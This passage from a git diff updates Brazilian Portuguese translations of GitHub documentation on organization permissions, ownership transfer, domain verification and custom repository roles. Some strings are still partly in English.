   - /articles/restricting-the-ability-to-add-outside-collaborators-to-organization-repositories
@@ -14,16 +14,15 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Set collaborator policy
+shortTitle: Definir política de colaborador
 ---
 
-Organization owners, and members with admin privileges for a repository, can invite outside collaborators to work on the repository. You can also restrict outside collaborator invite permissions to only organization owners.
+Os proprietários da organização e integrantes com privilégios de administrador para um repositório podem convidar colaboradores externos para trabalhar no repositório. Você também pode restringir as permissões de convites de colaboradores externos para apenas proprietários de organizações.
 
 {% data reusables.organizations.outside-collaborators-use-seats %}
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.member-privileges %}
-5. Under "Repository invitations", select **Allow members to invite outside collaborators to repositories for this organization**.
-  ![Checkbox to allow members to invite outside collaborators to organization repositories](/assets/images/help/organizations/repo-invitations-checkbox-updated.png)
-6. Click **Save**.
+5. Em "Repository invitations" (Convites para o repositório), selecione **Allow members to invite outside collaborators to repositories for this organization** (Permitir que os integrantes convidem colaboradores externos aos repositórios desta organização). ![Caixa de seleção para permitir que os integrantes convidem colaboradores externos aos repositórios da organização](/assets/images/help/organizations/repo-invitations-checkbox-updated.png)
+6. Clique em **Salvar**.
diff --git a/translations/pt-BR/content/organizations/managing-organization-settings/setting-permissions-for-deleting-or-transferring-repositories.md b/translations/pt-BR/content/organizations/managing-organization-settings/setting-permissions-for-deleting-or-transferring-repositories.md
index 5309271e6e..802c4c5587 100644
--- a/translations/pt-BR/content/organizations/managing-organization-settings/setting-permissions-for-deleting-or-transferring-repositories.md
+++ b/translations/pt-BR/content/organizations/managing-organization-settings/setting-permissions-for-deleting-or-transferring-repositories.md
@@ -1,6 +1,6 @@
 ---
-title: Setting permissions for deleting or transferring repositories
-intro: 'You can allow organization members with admin permissions to a repository to delete or transfer the repository, or limit the ability to delete or transfer repositories to organization owners only.'
+title: Definir permissões para excluir ou transferir repositórios
+intro: 'Você pode permitir que integrantes da organização com permissões de administrador no repositório excluam ou transfiram o repositório, ou limitem a capacidade de excluir ou transferir repositórios aos proprietários da organização.'
 redirect_from:
   - /articles/setting-permissions-for-deleting-or-transferring-repositories-in-your-organization
   - /articles/setting-permissions-for-deleting-or-transferring-repositories
@@ -13,14 +13,13 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Set repo management policy
+shortTitle: Definir política de gerenciamento de repositórios
 ---
 
-Owners can set permissions for deleting or transferring repositories in an organization.
+Proprietários podem definir permissões para excluir ou transferir repositórios na organização.
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.member-privileges %}
-5. Under "Repository deletion and transfer", select or deselect **Allow members to delete or transfer repositories for this organization**.
-![Checkbox to allow members to delete repositories](/assets/images/help/organizations/disallow-members-to-delete-repositories.png)
-6. Click **Save**.
+5. Em "Repository deletion and transfer" (Exclusão e transferência de repositório), marque ou desmarque a opção **Allow members to delete or transfer repositories for this organization** (Permitir que os integrantes excluam ou transfiram repositórios na organização). ![Caixa de seleção para permitir que os integrantes excluam repositórios](/assets/images/help/organizations/disallow-members-to-delete-repositories.png)
+6. Clique em **Salvar**.
diff --git a/translations/pt-BR/content/organizations/managing-organization-settings/transferring-organization-ownership.md b/translations/pt-BR/content/organizations/managing-organization-settings/transferring-organization-ownership.md
index da79cb679b..1f44df3d63 100644
--- a/translations/pt-BR/content/organizations/managing-organization-settings/transferring-organization-ownership.md
+++ b/translations/pt-BR/content/organizations/managing-organization-settings/transferring-organization-ownership.md
@@ -1,6 +1,6 @@
 ---
-title: Transferring organization ownership
-intro: 'To make someone else the owner of an organization account, you must add a new owner{% ifversion fpt or ghec %}, ensure that the billing information is updated,{% endif %} and then remove yourself from the account.'
+title: Transferir a propriedade da organização
+intro: 'Para tornar outra pessoa a proprietária de uma conta da organização, é preciso adicionar um novo proprietário{% ifversion fpt or ghec %}, verificar se as informações de cobrança estão atualizadas{% endif %} e remover a si mesmo da conta.'
 redirect_from:
   - /articles/needs-polish-how-do-i-give-ownership-to-an-organization-to-someone-else
   - /articles/transferring-organization-ownership
@@ -13,25 +13,26 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Transfer ownership
+shortTitle: Transferir propriedade
 ---
-{% ifversion fpt or ghec %}
+
+{% ifversion ghec %}
 {% note %}
 
-**Note:** {% data reusables.enterprise-accounts.invite-organization %}
+**Observação:** {% data reusables.enterprise-accounts.invite-organization %}
 
 {% endnote %}{% endif %}
 
-1. If you're the only member with *owner* privileges, give another organization member the owner role. For more information, see "[Appointing an organization owner](/organizations/managing-peoples-access-to-your-organization-with-roles/maintaining-ownership-continuity-for-your-organization#appointing-an-organization-owner)."
-2. Contact the new owner and make sure he or she is able to [access the organization's settings](/articles/accessing-your-organization-s-settings).
+1. Caso você seja o único integrante com privilégios de *proprietário*, atribua a função de proprietário a outro integrante da organização. Para obter mais informações, consulte "[Designar um proprietário da organização](/organizations/managing-peoples-access-to-your-organization-with-roles/maintaining-ownership-continuity-for-your-organization#appointing-an-organization-owner)".
+2. Entre em contato com o novo proprietário e verifique se ele consegue [acessar as configurações da organização](/articles/accessing-your-organization-s-settings).
 {% ifversion fpt or ghec %}
-3. If you are currently responsible for paying for GitHub in your organization, you'll also need to have the new owner or a [billing manager](/articles/adding-a-billing-manager-to-your-organization/) update the organization's payment information. For more information, see "[Adding or editing a payment method](/articles/adding-or-editing-a-payment-method)."
+3. Se você é o atual responsável pelo pagamento do GitHub na organização, também precisará pedir ao novo proprietário ou a um [gerente de cobrança](/articles/adding-a-billing-manager-to-your-organization/) que atualize as informações de pagamento da organização. Para obter mais informações, consulte "[Adicionar ou editar forma de pagamento](/articles/adding-or-editing-a-payment-method)".
 
   {% warning %}
 
-  **Warning**: Removing yourself from the organization **does not** update the billing information on file for the organization account. The new owner or a billing manager must update the billing information on file to remove your credit card or PayPal information.
+  **Aviso**: remover a si mesmo da organização **não** atualiza as informações de cobrança no arquivo referentes à conta da organização. O novo proprietário ou um gerente de cobrança deve atualizar as informações de cobrança no arquivo para apagar suas informações de cartão de crédito ou PayPal.
 
   {% endwarning %}
 
 {% endif %}
-4. [Remove yourself](/articles/removing-yourself-from-an-organization) from the organization.
+4. [Remova a si mesmo](/articles/removing-yourself-from-an-organization) da organização.
diff --git a/translations/pt-BR/content/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization.md b/translations/pt-BR/content/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization.md
index dcf8751104..237eee15bc 100644
--- a/translations/pt-BR/content/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization.md
+++ b/translations/pt-BR/content/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Verifying or approving a domain for your organization
-intro: 'You can verify your ownership of domains with {% data variables.product.company_short %} to confirm your organization''s identity. You can also approve domains that {% data variables.product.company_short %} can send email notifications to for members of your organization.'
+title: Verificando ou aprovando um domínio para sua organização
+intro: 'Você pode verificar a propriedade de domínios com {% data variables.product.company_short %} para confirmar a identidade da sua organização. Você também pode aprovar domínios para os quais {% data variables.product.company_short %} pode enviar notificações de email para os integrantes da sua organização.'
 product: '{% data reusables.gated-features.verify-and-approve-domain %}'
 redirect_from:
   - /articles/verifying-your-organization-s-domain
@@ -18,36 +18,36 @@ topics:
   - Notifications
   - Organizations
   - Policy
-shortTitle: Verify or approve a domain
+shortTitle: Verificar ou aprovar um domínio
 ---
 
-## About domain verification
+## Sobre a verificação do domínio
 
-After verifying ownership of your organization's domains, a "Verified" badge will display on the organization's profile. {% ifversion fpt or ghec %}If your organization is on {% data variables.product.prodname_ghe_cloud %} and has agreed to the Corporate Terms of Service, organization owners will be able to verify the identity of organization members by viewing each member's email address within the verified domain. For more information, see "[About your organization's profile page](/articles/about-your-organization-s-profile/)" and "<a href="/articles/upgrading-to-the-corporate-terms-of-service" class="dotcom-only">Upgrading to the Corporate Terms of Service</a>."{% endif %}
+Após a verificação da propriedade dos domínios da sua organização, é exibido um selo "Verified" (Verificado) no perfil da organização. {% ifversion fpt or ghec %} Se a sua organização estiver no {% data variables.product.prodname_ghe_cloud %} e tiver concordado com os Termos de serviço corporativos, os proprietários da organização poderão verificar a identidade dos seus integrantes exibindo o endereço de e-mail de cada um deles no domínio verificado. Para obter mais informações, consulte "[Sobre a página de perfil da sua organização](/articles/about-your-organization-s-profile/)" e "<a href="/articles/upgrading-to-the-corporate-terms-of-service" class="dotcom-only">Atualizar para os Termos de serviço corporativos</a>".{% endif %}
 
-{% ifversion fpt or ghec %}If your organization is owned by an enterprise account, a{% elsif ghes %}A{% endif %} "Verified" badge will display on your organization's profile for any domains verified for the enterprise account, in addition to any domains verified for the organization. Organization owners can view any domains that an enterprise owner has verified or approved, and edit the domains if the organization owner is also an enterprise owner. {% ifversion fpt or ghec %}For more information, see "[Verifying or approving a domain for your enterprise](/enterprise-cloud@latest/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise)."{% endif %}{% ifversion ghes > 3.1 %}For more information, see "[Verifying or approving a domain for your enterprise](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise)."{% endif %}
+{% ifversion fpt or ghec %}Se sua organização pertencer a uma conta corporativa um selo "Verificado" de{% elsif ghes %}A{% endif %} será exibido no perfil da sua organização para todos os domínios verificados para a conta corporativa, além de todos os domínios verificados para a organização. Os proprietários da organização podem ver quaisquer domínios que um proprietário da empresa verificou ou aprovou e pode editar os domínios se o proprietário da organização também for um proprietário corporativo. {% ifversion fpt or ghec %}Para obter mais informações, consulte "[Verificar ou aprovar um domínio para a sua empresa](/enterprise-cloud@latest/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise).{% endif %}{% ifversion ghes > 3.1 %}Para obter mais informações, consulte[Verificando ou aprovando um domínio para sua empresa](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise)".{% endif %}
 
 {% data reusables.organizations.verified-domains-details %}
 
-{% ifversion fpt or ghec %}On {% data variables.product.prodname_ghe_cloud %}, after verifying ownership of your organization's domain, you can restrict email notifications for the organization to that domain. For more information, see "[Restricting email notifications for your organization](/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization)." {% ifversion fpt %}{% data reusables.enterprise.link-to-ghec-trial %}{% endif %}{% endif %}
+{% ifversion fpt or ghec %}Em {% data variables.product.prodname_ghe_cloud %}, depois de verificar a propriedade do domínio da sua organização, você pode restringir notificações de e-mail para a organização para esse domínio. Para obter mais informações, consulte "[Restringir notificações de e-mail para sua organização](/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization)". {% ifversion fpt %}{% data reusables.enterprise.link-to-ghec-trial %}{% endif %}{% endif %}
 
-{% ifversion fpt or ghec %}You can also verify custom domains used for {% data variables.product.prodname_pages %} to prevent domain takeovers when a custom domain remains configured but your {% data variables.product.prodname_pages %} site is either disabled or no longer uses the domain. For more information, see "[Verifying your custom domain for {% data variables.product.prodname_pages %}](/pages/configuring-a-custom-domain-for-your-github-pages-site/verifying-your-custom-domain-for-github-pages)."{% endif %}
+{% ifversion fpt or ghec %}Você também pode verificar domínios personalizados usados para {% data variables.product.prodname_pages %} para evitar ofertas públicas de domínio quando um domínio personalizado permanece configurado, mas seu site de {% data variables.product.prodname_pages %} está desabilitado ou não usa mais o domínio. Para obter mais informações, consulte "[Verificando o seu domínio personalizado para {% data variables.product.prodname_pages %}](/pages/configuring-a-custom-domain-for-your-github-pages-site/verifying-your-custom-domain-for-github-pages)."{% endif %}
 
-## About domain approval
+## Sobre a aprovação de domínio
 
 {% data reusables.enterprise-accounts.approved-domains-beta-note %}
 
 {% data reusables.enterprise-accounts.approved-domains-about %}
 
-After you approve domains for your organization, you can restrict email notifications for activity within the organization to users with verified email addresses within verified or approved domains. For more information, see "[Restricting email notifications for your organization](/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization)."
+Após aprovar domínios para a sua organização, você pode restringir notificações de e-mail para atividades dentro da organização para usuários com endereços de e-mail verificados dentro de domínios verificados ou aprovados. Para obter mais informações, consulte "[Restringir notificações de e-mail para sua organização](/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization)".
 
-Enterprise owners cannot see which organization members or email addresses receive notifications within approved domains.
+Os proprietários de empresas não podem ver quais integrantes da organização ou endereços de e-mail recebem notificações dentro dos domínios aprovados.
 
-Enterprise owners can also approve additional domains for organizations owned by the enterprise. {% ifversion fpt or ghec %}For more information, see "[Verifying or approving a domain for your enterprise](/enterprise-cloud@latest/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise)."{% endif %}{% ifversion ghes > 3.1 %}For more information, see "[Verifying or approving a domain for your enterprise](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise)."{% endif %}
+Os proprietários de empresas também podem aprovar domínios adicionais para organizações pertencentes à empresa. {% ifversion fpt or ghec %}Para obter mais informações, consulte "[Verificar ou aprovar um domínio para a sua empresa](/enterprise-cloud@latest/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise).{% endif %}{% ifversion ghes > 3.1 %}Para obter mais informações, consulte[Verificando ou aprovando um domínio para sua empresa](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise)".{% endif %}
 
-## Verifying a domain for your organization
+## Verificando um domínio para a sua organização
 
-To verify a domain, you must have access to modify domain records with your domain hosting service.
+Para verificar um domínio, você deve ter acesso para modificar registros de domínio com o seu serviço de hospedagem de domínio.
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
@@ -55,16 +55,15 @@ To verify a domain, you must have access to modify domain records with your doma
 {% data reusables.organizations.add-a-domain %}
 {% data reusables.organizations.add-domain %}
 {% data reusables.organizations.add-dns-txt-record %}
-1. Wait for your DNS configuration to change, which may take up to 72 hours. You can confirm your DNS configuration has changed by running the `dig` command on the command line, replacing `ORGANIZATION` with the name of your organization and `example.com` with the domain you'd like to verify. You should see your new TXT record listed in the command output.
+1. Aguarde a alteração da configuração de DNS, que pode demorar até 72 horas. Você pode confirmar que a configuração do DNS foi alterada executando o comando `dig` na linha de comando, substituindo `ORGANIZATION` pelo nome da sua organização e `example.com` pelo o domínio que você gostaria de verificar. Você deverá ver o novo registro TXT listado na saída do comando.
    ```shell
    $ dig _github-challenge-<em>ORGANIZATION</em>.<em>example.com</em> +nostats +nocomments +nocmd TXT
    ```
-1. After confirming your TXT record is added to your DNS, follow steps one through three above to navigate to your organization's approved and verified domains.
+1. Depois de confirmar que o seu registro TXT foi adicionado ao seu DNS, siga os passos um a três acima para acessar os domínios aprovados e verificados da sua organização.
 {% data reusables.organizations.continue-verifying-domain %}
-11. Optionally, once the "Verified" badge is visible on your organization's profile page, you can delete the TXT entry from the DNS record at your domain hosting service.
-![Verified badge](/assets/images/help/organizations/verified-badge.png)
+11. Depois que o selo "Verified" (Verificado) estiver visível na página de perfil da sua organização, a entrada TXT poderá ser excluída do registro DNS no serviço de hospedagem de domínio. ![Selo Verified (Verificado)](/assets/images/help/organizations/verified-badge.png)
 
-## Approving a domain for your organization
+## Aprovando um domínio para a sua organização
 
 {% ifversion fpt or ghes > 3.1 or ghec %}
 
@@ -80,10 +79,9 @@ To verify a domain, you must have access to modify domain records with your doma
 {% data reusables.organizations.domains-approve-it-instead %}
 {% data reusables.organizations.domains-approve-domain %}
 
-## Removing an approved or verified domain
+## Removendo um domínio aprovado ou verificado
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.verified-domains %}
-1. To the right of the domain to remove, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **Delete**.
-    !["Delete" for a domain](/assets/images/help/organizations/domains-delete.png)
+1. À direita do domínio a ser removido, clique em {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} e, em seguida, clique em **Excluir**. !["Excluir" para um domínio](/assets/images/help/organizations/domains-delete.png)
diff --git a/translations/pt-BR/content/organizations/managing-peoples-access-to-your-organization-with-roles/adding-a-billing-manager-to-your-organization.md b/translations/pt-BR/content/organizations/managing-peoples-access-to-your-organization-with-roles/adding-a-billing-manager-to-your-organization.md
index 098f9e0d7c..4627221f06 100644
--- a/translations/pt-BR/content/organizations/managing-peoples-access-to-your-organization-with-roles/adding-a-billing-manager-to-your-organization.md
+++ b/translations/pt-BR/content/organizations/managing-peoples-access-to-your-organization-with-roles/adding-a-billing-manager-to-your-organization.md
@@ -53,7 +53,7 @@ Os gerentes de cobrança **não** podem:
 {% ifversion ghec %}
 {% note %}
 
-**Observação:** Se sua organização for gerenciada usando [Contas Corporativas](/github/setting-up-and-managing-your-enterprise/managing-your-enterprise-account/about-enterprise-accounts) você não poderá convidar os Gerentes de Cobrança no nível da organização.
+**Observação:** Se a sua organização pertencer a uma conta corporativa, você não pode convidar gerentes de cobrança no nível da organização. Para obter mais informações, consulte "[Sobre contas corporativas](/admin/overview/about-enterprise-accounts)".
 
 {% endnote %}
 {% endif %}
diff --git a/translations/pt-BR/content/organizations/managing-peoples-access-to-your-organization-with-roles/index.md b/translations/pt-BR/content/organizations/managing-peoples-access-to-your-organization-with-roles/index.md
index ff7165d325..25242f0b9d 100644
--- a/translations/pt-BR/content/organizations/managing-peoples-access-to-your-organization-with-roles/index.md
+++ b/translations/pt-BR/content/organizations/managing-peoples-access-to-your-organization-with-roles/index.md
@@ -1,6 +1,6 @@
 ---
-title: Managing people's access to your organization with roles
-intro: 'You can control access to your organizations''s settings and repositories by giving people organization, repository, and team roles.'
+title: Gerenciar o acesso de pessoas à organização com funções
+intro: 'É possível controlar o acesso às configurações e repositórios da organização, dando às pessoas funções de organização, repositório e equipe.'
 redirect_from:
   - /articles/managing-people-s-access-to-your-organization-with-roles
   - /articles/managing-peoples-access-to-your-organization-with-roles
@@ -20,6 +20,6 @@ children:
   - /adding-a-billing-manager-to-your-organization
   - /removing-a-billing-manager-from-your-organization
   - /managing-security-managers-in-your-organization
-shortTitle: Manage access with roles
+shortTitle: Gerenciar acesso com funções
 ---
 
diff --git a/translations/pt-BR/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization.md b/translations/pt-BR/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization.md
index f7caf78b8b..638d14916e 100644
--- a/translations/pt-BR/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization.md
+++ b/translations/pt-BR/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization.md
@@ -1,91 +1,91 @@
 ---
-title: Managing custom repository roles for an organization
-intro: "You can more granularly control access to your organization's repositories by creating custom repository roles."
-permissions: 'Organization owners can manage custom repository roles.'
+title: Gerenciando as funções de repositórios personalizados para uma organização
+intro: 'Você pode controlar o acesso aos repositórios da sua organização de forma mais granular, criando funções de repositório personalizadas.'
+permissions: Organization owners can manage custom repository roles.
 versions:
   ghec: '*'
 topics:
   - Organizations
   - Teams
-shortTitle: Custom repository roles
+shortTitle: Funções de repositório personalizadas
 redirect_from:
   - /early-access/github/articles/managing-custom-repository-roles-for-an-organization
 ---
 
 {% data reusables.pre-release-program.custom-roles-public-beta %}
 
-## About custom repository roles
+## Sobre as funções personalizadas do repositório
 
-To perform any actions on {% data variables.product.product_name %}, such as creating a pull request in a repository or changing an organization's billing settings, a person must have sufficient access to the relevant account or resource. This access is controlled by permissions. A permission is the ability to perform a specific action. For example, the ability to delete an issue is a permission. A role is a set of permissions you can assign to individuals or teams.
+Para executar quaisquer ações em {% data variables.product.product_name %}, como criar um pull request em um repositório ou alterar as configurações de cobrança de uma organização, uma pessoa deve ter acesso suficiente à conta ou recurso relevante. This access is controlled by permissions. A permission is the ability to perform a specific action. For example, the ability to delete an issue is a permission. A role is a set of permissions you can assign to individuals or teams.
 
-Within an organization, you can assign roles at the organization, team, and repository level. For more information about the different levels of roles, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)."
+Dentro de uma organização, você pode atribuir funções ao nível da organização, equipe e repositório. Para obter mais informações sobre os diferentes níveis de funções, consulte "[Funções em uma organização](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)".
 
-If your organization uses {% data variables.product.prodname_ghe_cloud %}, you can have more granular control over the permissions you grant at the repository level by creating up to three custom repository roles. A custom repository role is a configurable set of permissions with a custom name you choose. After you create a custom role, anyone with admin access to a repository can assign the role to an individual or team. For more information, see "[Managing an individual's access to an organization repository](/organizations/managing-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository)" and "[Managing team access to an organization repository](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository)"
+Se a sua organização usar {% data variables.product.prodname_ghe_cloud %}, você poderá ter um controle mais granular sobre as permissões que você concede no nível de repositório, criando até três funções personalizadas no repositório. Uma função de repositório personalizado é um conjunto configurável de permissões com um nome personalizado que você escolheu. Depois de criar um cargo personalizado, qualquer pessoa com acesso de administrador a um repositório pode atribuir a função a um indivíduo ou equipe. Para obter mais informações, consulte "[Gerenciando o acesso de um indivíduo ao repositório de uma organização](/organizations/managing-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository)" e "[Gerenciando o acesso da equipe ao repositório de uma organização](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository)"
 
 {% data reusables.enterprise.link-to-ghec-trial %}
 
-## About the inherited role
+## Sobre a função herdada
 
-When you create a custom repository role, you start by choosing an inherited role from a set of pre-defined options. The inherited role determines the initial set of permissions included in the custom role. Then, you can further customize the role by choosing additional permissions to give the role. For the full list of available permissions, see "[Additional permissions for custom roles](#additional-permissions-for-custom-roles)."
+Ao criar uma função de repositório personalizado, você começa escolhendo uma função herdada de um conjunto de opções predefinidas. A função herdada determina o conjunto inicial de permissões incluídas na função personalizada. Em seguida, você pode personalizar ainda mais a função escolhendo as permissões adicionais para dar à função. Para obter a lista completa das permissões disponíveis, consulte "[Permissões adicionais para as funções personalizadas](#additional-permissions-for-custom-roles). "
 
-Your options for the inherited role are standardized for different types of contributors in your repository.
+As suas opções para a função herdada são padronizadas para diferentes tipos de contribuidores do seu repositório.
 
-| Inherited role | Designed for |
-|----|----|
-| **Read** | Non-code contributors who want to view or discuss your project. |
-| **Triage** | Contributors who need to proactively manage issues and pull requests without write access. |
-| **Write** | Organization members and collaborators who actively push to your project. |
-| **Maintain** | Project managers who need to manage the repository without access to sensitive or destructive actions.
+| Função herdada | Projetada para                                                                                          |
+| -------------- | ------------------------------------------------------------------------------------------------------- |
+| **Leitura**    | Contribuidores sem código que querem ver ou discutir seu projeto.                                       |
+| **Triagem**    | Os colaboradores que precisam gerenciar proativamente problemas e pull requests sem acesso de gravação. |
+| **Gravação**   | Integrantes e colaboradores da organização que fazem push ativamente no seu projeto.                    |
+| **Manutenção** | Gerentes de projeto que precisam gerenciar o repositório sem acesso a ações sensíveis ou destrutivas.   |
 
-## Custom role examples
+## Exemplos de funções personalizadas
 
-Here are some examples of custom repository roles you can configure.
+Aqui estão alguns exemplos de funções de repositórios personalizados que você pode configurar.
 
-| Custom repository role | Summary | Inherited role | Additional permissions |
-|----|----|----|----|
-| Security engineer | Able to contribute code and maintain the security pipeline | **Maintain** | Delete code scanning results |
-| Contractor | Able to develop webhooks integrations | **Write** | Manage webhooks |
-| Community manager | Able to handle all the community interactions without being able to contribute code | **Read** | - Mark an issue as duplicate <br> - Manage GitHub Page settings <br> - Manage wiki settings <br> - Set the social preview <br> - Edit repository metadata <br> - Triage discussions |
+| Função do repositório personalizado | Sumário                                                                                     | Função herdada | Permissões adicionais                                                                                                                                                                                             |
+| ----------------------------------- | ------------------------------------------------------------------------------------------- | -------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| Engenheiro de segurança             | Capaz de contribuir com código e manter o pipeline de segurança                             | **Manutenção** | Excluir resultados da varredura de código                                                                                                                                                                         |
+| Contratado                          | Capaz de desenvolver integrações de webhooks                                                | **Gravação**   | Gerenciar webhooks                                                                                                                                                                                                |
+| Gerente de comunidade               | Capaz de lidar com todas as interações da comunidade sem ser capaz de contribuir com código | **Leitura**    | - Mark an issue as duplicate <br> - Manage GitHub Page settings <br> - Manage wiki settings <br> - Set the social preview <br> - Edit repository metadata <br> - Triage discussions |
 
-## Additional permissions for custom roles
+## Permissões adicionais para funções personalizadas
 
-After choosing an inherited role, you can select additional permissions for your custom role.
+Depois de escolher uma função herdada, você poderá selecionar as permissões adicionais para a sua função personalizada.
 
-You can only choose an additional permission if it's not already included in the inherited role. For example, if the inherited role offers **Write** access to a repository, then the "Close a pull request" permission will already be included in the inherited role.
+Você só pode escolher uma permissão adicional se já não estiver incluída na função herdada. Por exemplo, se a função herdada oferece acesso de **Gravação** a um repositório, a permissão "Fechar uma pull request" já estará incluída na função herdada.
 
-### Issue and Pull Requests
+### Problemas e Pull Requests
 
-- **Assign or remove a user**: Assign a user to an issue or pull request, or remove a user from an issue or pull request.
-- **Add or remove a label**: Add a label to an issue or a pull request, or remove a label from an issue or pull request.
+- **Atribuir ou remover um usuário**: Atribua um usuário a um problema ou pull request ou remova um usuário de um problema ou pull request.
+- **Adicionar ou remover um rótulo**: Adicione uma etiqueta a um problema ou um pull request ou remova uma etiqueta de um problema ou pull request.
 
-### Issue
+### Problema
 
-- **Close an issue**
-- **Reopen a closed issue**
-- **Delete an issue**
-- **Mark an issue as a duplicate**
+- **Feche um problema**
+- **Reabra um problema fechado**
+- **Exclua um problema**
+- **Marque um problema como duplicado**
 
 ### Pull Request
 
-- **Close a pull request**
+- **Feche um pull request**
 - **Reopen a closed pull request**
 - **Request a pull request review**: Request a review from a user or team.
 
-### Repository
+### Repositório
 
 - **Set milestones**: Add milestones to an issue or pull request.
 - **Manage wiki settings**: Turn on wikis for a repository.
 - **Manage project settings**: Turning on projects for a repository.
 - **Manage pull request merging settings**: Choose the type of merge commits that are allowed in your repository, such as merge, squash, or rebase.
-- **Manage {% data variables.product.prodname_pages %} settings**: Enable {% data variables.product.prodname_pages %} for the repository, and select the branch you want to publish. For more information, see "[Configuring a publishing source for your {% data variables.product.prodname_pages %} site](/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site)."
+- **Manage {% data variables.product.prodname_pages %} settings**: Enable {% data variables.product.prodname_pages %} for the repository, and select the branch you want to publish. Para obter mais informações, consulte "[Configurar uma fonte de publicação para seu site do {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site)".
 - **Manage webhooks**: Add webhooks to the repository.
 - **Manage deploy keys**: Add deploy keys to the repository.
 - **Edit repository metadata**: Update the repository description as well as the repository topics.
 - **Set interaction limits**: Temporarily restrict certain users from commenting, opening issues, or creating pull requests in your public repository to enforce a period of limited activity. For more information, see "[Limiting interactions in your repository](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository)."
-- **Set the social preview**: Add an identifying image to your repository that appears on social media platforms when your repository is linked. For more information, see "[Customizing your repository's social media preview](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/customizing-your-repositorys-social-media-preview)."
+- **Set the social preview**: Add an identifying image to your repository that appears on social media platforms when your repository is linked. Para obter mais informações, consulte "[Personalizar a exibição das redes sociais do repositório](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/customizing-your-repositorys-social-media-preview)".
 - **Push commits to protected branches**: Push to a branch that is marked as a protected branch.
 
-### Security
+### Segurança
 
 - **View {% data variables.product.prodname_code_scanning %} results**: Ability to view {% data variables.product.prodname_code_scanning %} alerts.
 - **Dismiss or reopen {% data variables.product.prodname_code_scanning %} results**: Ability to dismiss or reopen {% data variables.product.prodname_code_scanning %} alerts.
@@ -99,9 +99,9 @@ If a person is given different levels of access through different avenues, such
 
 If a person has been given conflicting access, you'll see a warning on the repository access page. The warning appears with "{% octicon "alert" aria-label="The alert icon" %} Mixed roles" next to the person with the conflicting access. To see the source of the conflicting access, hover over the warning icon or click **Mixed roles**.
 
-To resolve conflicting access, you can adjust your organization's base permissions or the team's access, or edit the custom role. For more information, see:
-  - "[Setting base permissions for an organization](/github/setting-up-and-managing-organizations-and-teams/setting-base-permissions-for-an-organization)"
-  - "[Managing team access to an organization repository](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository)"
+To resolve conflicting access, you can adjust your organization's base permissions or the team's access, or edit the custom role. Para obter mais informações, consulte:
+  - "[Configurando permissões de base para uma organização](/github/setting-up-and-managing-organizations-and-teams/setting-base-permissions-for-an-organization)"
+  - "[Gerenciar o acesso da equipe a um repositório da organização](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository)"
   - "[Editing a repository role](#editing-a-repository-role)"
 
 ## Creating a repository role
@@ -113,18 +113,12 @@ To create a new repository role, you add permissions to an inherited role and gi
 {% data reusables.organizations.org_settings %}
 {% data reusables.organizations.org-list %}
 {% data reusables.organizations.org-settings-repository-roles %}
-5. Click **Create a Role**.
-  ![Screenshot of "Create a Role" button](/assets/images/help/organizations/repository-role-create-role.png)
-4. Under "Name", type the name of your repository role.
-  ![Field to type a name for the repository role](/assets/images/help/organizations/repository-role-name.png)
-5. Under "Description", type a description of your repository role.
-  ![Field to type a description for the repository role](/assets/images/help/organizations/repository-role-description.png)
-6. Under "Choose a role to inherit", select the role you want to inherit.
-  ![Selecting repository role base role option](/assets/images/help/organizations/repository-role-base-role-option.png)
-7. Under "Add Permissions", use the drop-down menu to select the permissions you want your custom role to include.
